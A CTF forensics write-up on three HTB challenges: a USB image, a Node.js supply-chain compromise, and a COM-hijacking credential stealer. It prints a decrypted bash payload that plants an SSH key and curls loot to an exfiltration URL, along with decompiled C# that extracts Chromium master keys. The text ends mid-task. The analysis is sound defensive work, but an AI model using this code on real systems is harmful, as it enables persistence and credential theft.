HTB Business CTF 2026: Project Nightfall Forensics Write-ups

Introduction

My friend Quoc Hung @get-wright was able to get me a spot on the HTB Business CTF 2026: Project Nightfall team, and I had a lot of fun participating in the CTF and writing these write-ups.

The Gilded Ghost

Description

Gabe received a late-night call: the city’s water filtration system had triggered alerts consistent with unauthorized access. When the team reviewed surveillance footage, they spotted a figure moving through the facility—keeping to the shadows, avoiding cameras, and heading straight for an operator workstation. The attacker was in and out within minutes. No tools were left behind at the workstation, no obvious malware was found, and the trail went cold—until the final camera angle caught something odd. As the intruder exited, they tossed a small object into the dumpster behind the building. An intern was voluntold to perform “high-impact evidence recovery” and climbed in to search. They surfaced with a single item: a USB drive. You’ve been provided a disk image of the USB. Determine what was on it and what the attacker intended to do—ASAP.

Walkthrough

Initial triage

This challenge provided a usb.img file, so I started by using the file command to check the file type:

linux@linux /m/c/U/q/D/H/forensics_the_gilded_ghost> file usb.img
usb.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x10,0,1), end-CHS (0x3ff,3,32), startsector 2048, 129024 sectors

The output indicates that usb.img is a disk image with a DOS/MBR boot sector. It contains one partition (partition 1) with the following details:

  • Partition type: 0x0c (FAT32 with LBA)
  • Start CHS: (0x10,0,1)
  • End CHS: (0x3ff,3,32)
  • Start sector: 2048
  • Total sectors: 129024

Next, I loaded the image into Autopsy to analyze the contents of the USB drive.

alt text

Task 1

What filesystem is used in the USB image?

The filesystem used in the USB image is FAT32. The MBR partition type is 0x0c, which indicates FAT32 with LBA. It can also be found in Autopsy under the partition details.

alt text

The answer is FAT32.

Task 2

What is the partition start offset (in sectors) for the filesystem?

The partition start offset for the filesystem is 2048 sectors, as indicated in the output of the file command. It can also be found in Autopsy under the partition details.

The answer is 2048.

Task 3

What file explains how to use the payload?

In the USB image, there is a file named README.txt that explains how to use the payload. It can be found in Autopsy.

alt text

The answer is README.txt.

Task 4

What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?

Autopsy shows that the setup.sh file is deleted and its metadata address (inode number) is 13.

alt text

The answer is 13.

Task 5

What encryption algorithm is used to protect the payload? (format: ***-***-***)

The contents of setup.sh are shown below:

#!/bin/bash
set -euo pipefail
ENC="payload.enc"
KEY="AllH4!lVANE!!!"
openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
  -pass pass:"${KEY}" \
  -in "${ENC}" \
  -out /tmp/stage.sh
bash /tmp/stage.sh

The script takes the payload.enc file and decrypts it using the openssl enc command with the following parameters:

  • -d: decrypt mode
  • -aes-256-cbc: uses the AES-256-CBC cipher
  • -pbkdf2: uses PBKDF2 for key derivation
  • -iter 100000: sets the number of key-derivation iterations
  • -salt: uses a salt for key derivation
  • -pass pass:"${KEY}": uses the password stored in the KEY variable
  • -in "${ENC}": specifies the input file to decrypt
  • -out /tmp/stage.sh: writes the decrypted output to /tmp/stage.sh

The answer is AES-256-CBC.

Task 6

What key/passphrase is used to decrypt the encrypted payload?

The key/passphrase used to decrypt the encrypted payload is in setup.sh.

The answer is AllH4!lVANE!!!.

Task 7

What is the attacker’s SSH public key comment/identity string?

I decrypted the payload.enc file using the key/passphrase found earlier:

linux@linux /m/c/U/q/D/H/forensics_the_gilded_ghost> openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
  -pass pass:'AllH4!lVANE!!!' \
  -in payload.enc \
  -out decrypted.sh

The contents of the decrypted file decrypted.sh are shown below:

#!/bin/bash
set -euo pipefail
 
EXFIL_URL="http://uplink.korvia.gov:8080/api/v1/ingest"
 
GHOST_PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCjVpE+SqRDTKLN5IYDYULJGXmAItja5qNt34cma07 D9:GildedWeaver:Ghost'
 
# --- Persistence: add attacker SSH key ---
mkdir -p "${HOME}/.ssh" 2>/dev/null || true
chmod 700 "${HOME}/.ssh" 2>/dev/null || true
 
AUTH_KEYS="${HOME}/.ssh/authorized_keys"
touch "${AUTH_KEYS}" 2>/dev/null || true
chmod 600 "${AUTH_KEYS}" 2>/dev/null || true
 
# Append only if not already present
grep -qxF "${GHOST_PUB}" "${AUTH_KEYS}" 2>/dev/null || echo "${GHOST_PUB}" >> "${AUTH_KEYS}" 2>/dev/null || true
 
# --- Enumeration ---
OUTDIR="/tmp/gw"
mkdir -p "${OUTDIR}"
 
{
  echo "[D9] unit=GildedWeaver operator=Ghost"
  date 2>/dev/null || true
  echo
  echo "[whoami]"
  id 2>/dev/null || true
  echo
  echo "[hostname]"
  hostname 2>/dev/null || true
  echo
  echo "[uname]"
  uname -a 2>/dev/null || true
  echo
  echo "[ip]"
  (ip a || ifconfig) 2>/dev/null || true
  echo
  echo "[routes]"
  (ip route || route -n) 2>/dev/null || true
  echo
  echo "[processes]"
  ps aux 2>/dev/null || true
} > "${OUTDIR}/survey.txt"
 
# Bundle the loot
tar -czf "${OUTDIR}/loot.tar.gz" -C "${OUTDIR}" survey.txt 2>/dev/null || true
 
# --- Exfil ---
if command -v curl >/dev/null 2>&1; then
  curl -sS -m 3 -X POST -F "file=@${OUTDIR}/loot.tar.gz" "${EXFIL_URL}" >/dev/null 2>&1 || true
fi

This script performs the following actions:

  • Defines an exfiltration URL and an SSH public key for the attacker.
  • Ensures the attacker’s SSH key is added to the authorized_keys file for persistence.
  • Collects system information (user, hostname, kernel version, IP addresses, routes, and running processes) and saves it to survey.txt.
  • Bundles the collected information into a tar.gz file named loot.tar.gz.
  • Attempts to exfiltrate the bundled information to the specified URL using curl.

The attacker’s SSH public key comment/identity string is D9:GildedWeaver:Ghost.

The answer is D9:GildedWeaver:Ghost.

Task 8

What is the full path of the file that was exfiltrated?

From the script, we can see that the exfiltrated file is loot.tar.gz, located in the /tmp/gw directory.

The answer is /tmp/gw/loot.tar.gz.

Task 9

What is the exfiltration destination (full URL path)?

The exfiltration destination is defined in the EXFIL_URL variable in the script.

The answer is http://uplink.korvia.gov:8080/api/v1/ingest.

Questions and Answers

TaskQuestionAnswer
1What filesystem is used in the USB image?FAT32
2What is the partition start offset (in sectors) for the filesystem?2048
3What file explains how to use the payload?README.txt
4What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?13
5What encryption algorithm is used to protect the payload?AES-256-CBC
6What key/passphrase is used to decrypt the encrypted payload?AllH4!lVANE!!!
7What is the attacker’s SSH public key comment/identity string?D9:GildedWeaver:Ghost
8What is the full path of the file that was exfiltrated?/tmp/gw/loot.tar.gz
9What is the exfiltration destination (full URL path)?http://uplink.korvia.gov:8080/api/v1/ingest

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Payload staged on a USB driveInitial AccessT1200 - Hardware Additions
setup.sh executes the decrypted stage with BashExecutionT1059.004 - Command and Scripting Interpreter: Unix Shell
payload.enc protected with AES-256-CBCDefense EvasionT1027 - Obfuscated Files or Information
Attacker SSH key added to authorized_keysPersistenceT1098.004 - Account Manipulation: SSH Authorized Keys
Host, user, network, route, and process information collectedDiscoveryT1082 - System Information Discovery
Survey output bundled into loot.tar.gzCollectionT1560.001 - Archive Collected Data: Archive via Utility
loot.tar.gz exfiltrated with curl over HTTPExfiltrationT1041 - Exfiltration Over C2 Channel

Trust and Betrayal

Description

Gabe Okoye has flagged a disturbing shift in our systems’ lineage immediately following the deployment of VeldoriaPanel, an application we built internally with security in mind. Although the panel is a trusted service, its installation coincides with the appearance of malicious activity that feels too disciplined to be random. We need you to determine if this internal tool has been nudged to create a silent opening for the adversary. Your mission is to uncover if our own secure development path has been compromised to grant Silas Vane the permanent, quiet access he requires.

Walkthrough

Initial triage

This challenge likely provided a C: drive acquisition of the compromised system, so I loaded the data into Autopsy to analyze the contents of the disk image.

alt text

From there, I found the VeldoriaPanel data in the Documents folder.

alt text

This appears to be a Node.js application.

alt text

I also ran hayabusa against the logs folder to identify notable events.

alt text

Task 1

What is the filename of the malicious file that executed the first stage of the attack?

Since VeldoriaPanel is a Node.js application, I looked for JavaScript files that could be malicious. I imported the hayabusa output into Timeline Explorer and searched for .js. I focused on two rule titles: NodeJS Execution of JavaScript File and Proc Exec.

alt text

From the NodeJS Execution of JavaScript File rule, two files stand out: install.js and setup.js. Both appear to be user scripts, unlike npm-prefix.js or npm-cli.js, which are part of the Node.js/npm tooling. The timeline also shows that both files executed almost at the same time, within about 12 milliseconds of each other. This narrowed the search down to these two files.

alt text

Next, the Proc Exec rule shows that right after install.js and setup.js executed, the command where powershell ran, followed by the normal Node.js esbuild process. Finally, a .vbs script was executed from the %TEMP% folder using cscript.exe. This .vbs script is likely the second stage of the attack.

alt text

These two files are the most likely candidates for the malicious file that executed the first stage of the attack. I then checked their contents to determine which one was malicious.

The install.js file does not look malicious; it appears to be a normal installation script. However, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution.

The answer is setup.js.

Task 2

What is the name of the malicious library or package that contained the file identified in the previous question?

As mentioned above, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution. I used the built-in Keyword Search in Autopsy to search for setup.js across the entire disk image.

alt text

alt text

The answer is simple-crypto-js.

Task 3

What is the name of the top-level package that was compromised by pulling in the malicious dependency?

Knowing that the compromised library is simple-crypto-js, I looked for any package that had this library as a dependency by checking the package-lock.json file in the VeldoriaPanel folder.

alt text

The answer is axios.

Task 4

What is the domain name used for data exfiltration or payload retrieval?

In Task 1, I found that a .vbs script was executed from the %TEMP% folder, so I looked more closely at the events around that time. Parsing the Sysmon logs showed several commands related to the .vbs script, including curl.

alt text

From the curl command, I can see that a POST request was made to the attacker-controlled domain, and the response was saved to a .ps1 file.

alt text

The answer is rustf.htb:8000.

Task 5

What is the filename of the VBScript used to execute the next stage of the attack?

As seen in the previous question, a .vbs script was executed in the %TEMP% folder using cscript.exe.

The answer is 6202033.vbs.

Task 6

What was the original name of the binary before it was renamed by the attacker to evade detection?

A file called wt.exe was executed. Normally, wt.exe is the Windows Terminal executable, but in this case it is likely a renamed malicious binary because it was executed from ProgramData, which is not the default Windows Terminal folder. Before the .vbs script executed, the attacker also ran where powershell, likely to check whether PowerShell was available on the system, either to use it for the next stage or to copy it to another location for later use. Therefore, the original binary was likely powershell.exe before the attacker renamed it to wt.exe to evade detection.

To confirm this, I parsed the Amcache with AmcacheParser.

alt text

The Amcache metadata for wt.exe shows Microsoft Windows file metadata, including version 10.0.26100.3323, which is consistent with a renamed Windows system binary.

Using Keyword Search in Autopsy to search for wt.exe also yielded some results.

alt text

The answer is powershell.exe.

Task 7

Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise? (TXXXX.YYY)

The initial entry point of the attack is the execution of setup.js, a malicious JavaScript file executed using Node.js. The script belongs to the simple-crypto-js library, which is a dependency of the axios package. This method of compromise is known as supply chain compromise, where the attacker compromises a third-party library or package used by the target application to gain access to the target system.

alt text

According to the MITRE ATT&CK framework, the technique ID for Supply Chain Compromise is T1195, with T1195.001 covering compromised software dependencies and development tools.

The answer is T1195.001.

Task 8

What is the registry key, including the hive, that was modified to establish persistence for the malicious binary?

In the Sysmon logs, grouping by Map Description allowed me to see the entries for RegistryEvent (Value Set), which indicate that a registry key was modified.

alt text

Filtering for wt.exe, I can see that it set the value C:\ProgramData\system.bat for a registry value named MicrosoftUpdate in HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate. This Run key is commonly used for persistence because it allows the specified program to run when that user logs on.

The answer is HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate.

Questions and Answers

TaskQuestionAnswer
1What is the filename of the malicious file that executed the first stage of the attack?setup.js
2What is the name of the malicious library or package that contained the file identified in the previous question?simple-crypto-js
3What is the name of the top-level package that was compromised by pulling in the malicious dependency?axios
4What is the domain name used for data exfiltration or payload retrieval?rustf.htb:8000
5What is the filename of the VBScript used to execute the next stage of the attack?6202033.vbs
6What was the original name of the binary before it was renamed by the attacker to evade detection?powershell.exe
7Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise?T1195.001
8What is the registry key (including the hive) that was modified to establish persistence for the malicious binary?HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Malicious dependency pulled through the Node.js package chainInitial AccessT1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Malicious setup.js executed through Node.jsExecutionT1059.007 - Command and Scripting Interpreter: JavaScript
6202033.vbs executed with cscript.exeExecutionT1059.005 - Command and Scripting Interpreter: Visual Basic
Payload retrieved from rustf.htb:8000 with curlCommand and ControlT1105 - Ingress Tool Transfer
powershell.exe renamed to wt.exe in ProgramDataDefense EvasionT1036.003 - Masquerading: Rename System Utilities
MicrosoftUpdate value written under the user’s Run keyPersistenceT1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

COMfortable Exfiltration

Description

Gabe Okoye launched a forensic investigation after unnatural startup lockups plagued the National Election Commission’s logistics servers. Initially dismissed as hardware failure amid the cyber-terror smokescreen, Gabe uncovered a sophisticated Directorate 9 intrusion. Gilded Weaver operators weaponized the boot process, embedding a covert service that spawns an advanced credential stealer into memory before the OS initializes. This implant intentionally interferes with drive encryption protocols, causing localized volume mounting issues to mask the exfiltration of master decryption keys. Vane’s forces are using these encrypting drive failures as chaotic cover to secure permanent access before the election. You have been provided with a forensic capture of the compromised boot sequence. Dissect the covert service, recover the stolen keys, and neutralize the persistence mechanism before the infrastructure cascade is irreversible.

Walkthrough

Initial triage

The challenge provided two .ad1 files and a memory dump. The .ad1 format is a custom file format used by AccessData to store forensic images, so Autopsy cannot read it directly. The only tool I could use to read it was FTK Imager.

User.ad1 returned a user named thome.

User.ad2 was also from thome.

alt text

I parsed the memory dump with MemProcFS.

alt text

There was not much to check at this point. Using FTK Imager is inconvenient because it does not let me import the image into Autopsy, so I had to manually export files from the image before analyzing them.

Task 1

There is an installed service disguised as a Microsoft component. What is the full path of the executable?

To find the installed services, I had to look at the memory dump because services are stored in the HKLM\SYSTEM registry hive. That registry hive is not included in the .ad1 images because they only contain user folders. Using MemProcFS to navigate to \registry\HKLM\SYSTEM\ControlSet001\Services showed the list of installed services.

alt text

Finding the answer manually would take a lot of time, so I asked Claude Code to identify the service that was not a legitimate Microsoft component. The service that stood out was Microsoft Update, since the legitimate Windows Update service is wuauserv. This is likely the malicious service installed by the attacker.

alt text

Checking its path revealed the following:

alt text

No updater component should be installed in the %TEMP% folder, so this is likely the malicious service installed by the attacker.

The answer is C:\Temp\Microsoft Cache\updater.exe.

Task 2

The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object?
Explanation - COM Objects and COM Hijacking

COM (Component Object Model): A Microsoft technology that allows software components to communicate with each other. COM objects are identified by a unique CLSID (Class ID) and can be used for various purposes, including persistence mechanisms for malware.

COM hijacking: A technique where an attacker creates a malicious COM object and registers it in the Windows Registry under the HKCU (HKEY_CURRENT_USER) hive. This allows the attacker to execute their malicious code when the legitimate application tries to access the COM object, effectively hijacking the application’s functionality for malicious purposes.

The malware injects itself into a process by shadowing an object into the HKCU registry. To find the CLSID of the shadowed object, I checked the memory dump again and navigated to \registry\HKCU\Software\Classes\CLSID to look for any suspicious CLSID. However, there was nothing obvious there.

alt text

It seemed that MemProcFS was not showing the full HKCU registry hive, so I had to use the registry hive from the image: the UsrClass.dat file.

Explanation - UsrClass.dat

UsrClass.dat is a registry hive file that contains user-specific settings and configurations for the Windows operating system. It is part of the Windows Registry, which is a hierarchical database that stores low-level settings for the operating system and for applications that opt to use the registry. The UsrClass.dat file specifically contains information related to user classes, which are used to define the behavior of certain types of objects in the Windows environment, such as file associations, COM objects, and other user-specific settings. By analyzing the UsrClass.dat file, forensic investigators can uncover evidence of malicious activity, such as shadowed objects or injected code that may be used for persistence or other nefarious purposes.

However, UsrClass.dat did not show any suspicious CLSID either, so I pivoted to using Volatility to analyze the memory dump and search for suspicious CLSIDs in the HKCU registry hive.

First, I used the windows.registry.printkey plugin to print the registry key Software\Classes\CLSID.

PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --key "Software\Classes\CLSID"
Volatility 3 Framework 2.28.0
Progress:  100.00               PDB scanning finished
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile
 
-       0xa58c8c2dd000  Key     [NONAME]\Software\Classes\CLSID -       -       -
-       0xa58c8c28c000  Key     \REGISTRY\MACHINE\SYSTEM\Software\Classes\CLSID -       -       -
-       0xa58c8c36a000  Key     \REGISTRY\MACHINE\HARDWARE\Software\Classes\CLSID       -       -       -
-       0xa58c8c97c000  Key     \SystemRoot\System32\Config\SECURITY\Software\Classes\CLSID     -       -       -
-       0xa58c8c981000  Key     \SystemRoot\System32\Config\SOFTWARE\Software\Classes\CLSID     -       -       -
2026-05-09 22:23:58.000000 UTC  0xa58c8c97f000  Key     \SystemRoot\System32\Config\DEFAULT\Software\Classes\CLSID      {00000566-0000-0010-8000-00AA006D2EA4}  N/A     False
-       0xa58c8c98b000  Key     \SystemRoot\System32\Config\SAM\Software\Classes\CLSID  -       -       -
-       0xa58c8fd03000  Key     \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD\Software\Classes\CLSID   -       -       -
-       0xa58c91106000  Key     \??\C:\WINDOWS\ServiceProfiles\NetworkService\NTUSER.DAT\Software\Classes\CLSID -       -       -
-       0xa58c9154f000  Key     \SystemRoot\System32\Config\BBI\Software\Classes\CLSID  -       -       -
-       0xa58c9128d000  Key     \??\C:\WINDOWS\ServiceProfiles\LocalService\NTUSER.DAT\Software\Classes\CLSID   -       -       -
-       0xa58c91d09000  Key     \SystemRoot\System32\config\DRIVERS\Software\Classes\CLSID      -       -       -
-       0xa58c93314000  Key     \??\C:\WINDOWS\AppCompat\Programs\Amcache.hve\Software\Classes\CLSID    -       -       -
-       0xa58c929f1000  Key     \??\C:\Users\m.thorne\ntuser.dat\Software\Classes\CLSID -       -       -
-       0xa58c92ac1000  Key     \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID       -       -       -
-       0xa58c93614000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2602.17001.0_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID  -       -       -
-       0xa58c937be000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CoreAI_1000.26100.8246.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID      --       -
-       0xa58c9379e000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID        --       -
-       0xa58c937ed000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.40.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c937ea000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID        --       -
-       0xa58c937f5000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.86.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c93814000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.297.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c938ea000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID      -       -       -
-       0xa58c93940000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b_COM15.dat\Software\Classes\CLSID        -       -       -
-       0xa58c93943000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID      -       -       -
-       0xa58c93bf7000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID   -       -       -
-       0xa58c93b06000  Key     \??\C:\Users\m.thorne\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID     -       -       -
-       0xa58c93d38000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.6_6000.708.357.100_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID  --       -
-       0xa58c93e44000  Key     \??\C:\Users\m.thorne\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID       -       -       -
-       0xa58c94ec7000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.26032.83.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID     -       --

The important part is \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID, so I continued filtering for that. I used the same plugin with --offset 0xa58c92ac1000 to specify the offset of the UsrClass.dat registry hive and output the results to a file.

PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --offset 0xa58c92ac1000 --recurse > extraction.txt

Next, I searched for CLSID in extraction.txt to find the information needed.

alt text

Looking at the output directly did not reveal the answer. I noticed that three entries from the same CLSID had the InprocServer32 subkey, which is commonly used for COM hijacking, so I focused on those entries.

alt text

Explanation - InprocServer32

InprocServer32 is a registry key used by Component Object Model (COM) objects to specify the path to the DLL that implements the object. In the context of malware analysis, this key is often exploited for persistence by replacing the legitimate DLL path with a malicious one. This allows the malware to execute its code when the COM object is instantiated. For example, if a legitimate COM object is registered with an InprocServer32 key pointing to a system DLL, an attacker can modify this key to point to a malicious DLL that they have created. When the system or an application tries to use the COM object, it will load the malicious DLL instead of the legitimate one, allowing the attacker to execute their code with the privileges of the process that is using the COM object.

The InprocServer32 subkey contains the path to the malicious DLL used for persistence. The CLSID of the shadowed object is {00000566-0000-0010-8000-00AA006D2EA4}. Next, I needed to find the name of the object associated with this CLSID.

alt text

alt text

The answer is ADODB.Stream.

Task 3

Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file?

The malware identified in Task 1 is updater.exe, located at C:\Temp\Microsoft Cache\updater.exe. To determine which secondary file was dropped by the malware, I analyzed the malware’s behavior.

alt text

alt text

Looking at the malware’s main function, it drops a file named kathcjaz.quh in C:\ProgramData\WindowsSupport\Packages\Drivers.

The answer is kathcjaz.quh.

Task 4

What is the (C#) class name and the corresponding CLSID that is exposed to the COM API (Name:{GUID})?

The question hinted that the second malicious file is a C# file, so I analyzed kathcjaz.quh with dnSpy to inspect its contents.

alt text

alt text

The GrumpyFisherman class has the ComVisible attribute, which means it is exposed to the COM API. The CLSID of this class is b3ccd9d8-ffec-4de0-8005-185a6364cedb.

The answer is GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb}.

Task 5

What is the CLSID responsible for calling the .NET function that installs the malicious service? ({GUID})

The GrumpyFisherman class is responsible for installing the malicious service, so I had to find the CLSID whose subkey contains GrumpyFisherman. Finding it manually would take a lot of time, so I searched for the string GrumpyFisherman in the memory dump.

alt text

Many entries appeared with the same structure in the registry hive.

  • {4785f458-4230-48a1-b813-b16094c16acc}
  • {0128ad20-af37-4421-851c-5c06de5c2b2c}
  • {9133cefd-fe20-47f5-85f0-d560b6e740c5}

The answer is {0128ad20-af37-4421-851c-5c06de5c2b2c}.

Task 6

One of the .NET code's functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that? ({GUID})

In kathcjaz.quh, there is a class called FveUi, which is a COM object used to interact with BitLocker Drive Encryption in Windows. The malware calls the method ((IFveUiDispatch)new FveUi()).DoTurnOffDeviceEncryption(); through IFveUiDispatch.

alt text

alt text

alt text

The answer is {A7A63E5C-3877-4840-8727-C1EA9D7A4D50}.

Task 7

What is the complete exfiltration URL without the key? (http[s]://URL:PORT/PATH/)

In the GrumpyFisherman class, there is a method called GetChromiumKeyDirect.

public byte[] GetChromiumKeyDirect()
	{
		byte[] result;
		try
		{
			string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("IŴɴͨѰխٺ݊ࡀ१੶ୠఱൔ๮ེၬᅐቇ፥ᑪᕩᙫᜦᡖᥰᩢ᭶ᱤ"));
			if (!File.Exists(text))
			{
				throw new FileNotFoundException(?60?.?61?("SűɾͽѷԺيݬࡶॢੰ଴౵ൻ๽ཱུုᅠቢ፸ᐫᕬᙦ᝽ᡩᥢᨥ᭥ᱷᴸḡ") + text);
			}
			string tempFileName = Path.GetTempFileName();
			File.Copy(text, tempFileName, true);
			string text2 = File.ReadAllText(tempFileName);
			File.Delete(tempFileName);
			string text3 = ?60?.?61?("3ŵɡͭѿյٻݾ࡬६੘୭ౠൽม༸ဣ");
			int num = text2.IndexOf(text3) + text3.Length;
			int num2 = text2.IndexOf(?60?.?61?("#"), num);
			byte[] array = Convert.FromBase64String(text2.Substring(num, num2 - num));
			byte[] array2 = new byte[array.Length - 5];
			Array.Copy(array, 5, array2, 0, array2.Length);
			result = ProtectedData.Unprotect(array2, null, DataProtectionScope.CurrentUser);
		}
		catch (Exception)
		{
			result = null;
		}
		return result;
	}

The code contains some obfuscated strings, so I decoded them using the available information about the ?61? decoding function.

alt text

A Python script that mimics the decoding function can decode the obfuscated strings.

def dec(s):
    l = len(s)
    out = []
 
    for i, c in enumerate(s):
        oc = ord(c)
        b = (oc & 0xff) ^ (l - i)
        b2 = ((oc >> 8) & 0xff) ^ i
        out.append(chr((b2 << 8) | b))
 
    return ''.join(out)
 
print(dec("PASTE_STRING_HERE"))

Using the script above, I decoded the obfuscated strings in the code as follows:

alt text

This function retrieves the Chromium encryption key from Local State. It builds a path to the Local State file, copies it if it exists, reads the contents, extracts the key, removes the DPAPI prefix, and then unprotects it using the CryptUnprotectData() function. The result is the raw Chromium AES master key, which can be used to decrypt Chromium data.

Next, a method called HyperAlan also contains obfuscated strings.

public int HyperAlan(string ?46?)
	{
		IntPtr zero = IntPtr.Zero;
		IntPtr zero2 = IntPtr.Zero;
		int result = -1;
		string ?43? = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("pŋɍ͓щժٳ݁ࡉ२੿୫స൓๷ཡၵᅏቖ፴ᑶᕮᙻᝡᡸᥗᩆ᭦ᱯᵮṨἥ⁀Ⅲ≶⍠"));
		try
		{
			Process[] processesByName = Process.GetProcessesByName(?46?);
			if (processesByName.Length == 0)
			{
				throw new Exception(?60?.?61?("Bţɿͬѫվٿܫࡤ०੼ଧౠ൪๱཭ၦᄯ"));
			}
			if (!GrumpyFisherman.?6?(processesByName[0].Handle, 10U, out zero))
			{
				throw new Exception(?60?.?61?("[ŽɲͶѼռطݢࡺऴ੼ୢ౴ൾฯཾၿᅣቨ፯ᑺᕻᘧᝲᡪ᥯ᩦ᭬ᰯ"));
			}
			if (!GrumpyFisherman.?7?(zero, 33554432U, IntPtr.Zero, 2, 2, out zero2))
			{
				throw new Exception(?60?.?61?("\\Ÿɱͻѳձشݧࡽऱੴ୺౾ൡ๥ཨၫᅽቭጧᑲᕪᙯᝦᡬ᤯"));
			}
			if (GrumpyFisherman.?8?(zero2))
			{
				string ?44? = BitConverter.ToString(this.GetChromiumKeyDirect()).Replace(?60?.?61?(","), ?60?.?61?(""));
				this.?11?(?43?, ?44?).Wait();
				GrumpyFisherman.?9?();
				result = 0;
			}
		}
		finally
		{
			if (zero != IntPtr.Zero)
			{
				GrumpyFisherman.?10?(zero);
			}
			if (zero2 != IntPtr.Zero)
			{
				GrumpyFisherman.?10?(zero2);
			}
		}
		return result;
	}

I used the same method to decode the obfuscated strings in HyperAlan.

alt text

This function is used to steal the key and exfiltrate it to the attacker’s server. First, it checks for browser processes such as chrome, edge, and thorium. Then it steals the security token of the browser process, uses the token to impersonate the user, and calls the GetChromiumKeyDirect() method to retrieve the raw Chromium AES master key. This is necessary because GetChromiumKeyDirect() uses the CryptUnprotectData() function to unprotect the key, which requires the user’s context. Therefore, the malware needs to impersonate the user running the browser process to retrieve the key. Finally, it exfiltrates the key to the attacker’s server using an HTTP request in the ?11? method.

Next, I checked the ?11? method to find the exfiltration URL.

// GrumpyFisherman
// Token: 0x0600000F RID: 15 RVA: 0x00002274 File Offset: 0x00000474
private Task ?11?(string ?43?, string ?44?)
{
	GrumpyFisherman.?1? ?1?;
	?1?.<>t__builder = AsyncTaskMethodBuilder.Create();
	?1?.<>4__this = this;
	?1?.filePath = ?43?;
	?1?.endpoint = ?44?;
	?1?.<>1__state = -1;
	?1?.<>t__builder.Start<GrumpyFisherman.?1?>(ref ?1?);
	return ?1?.<>t__builder.Task;
}

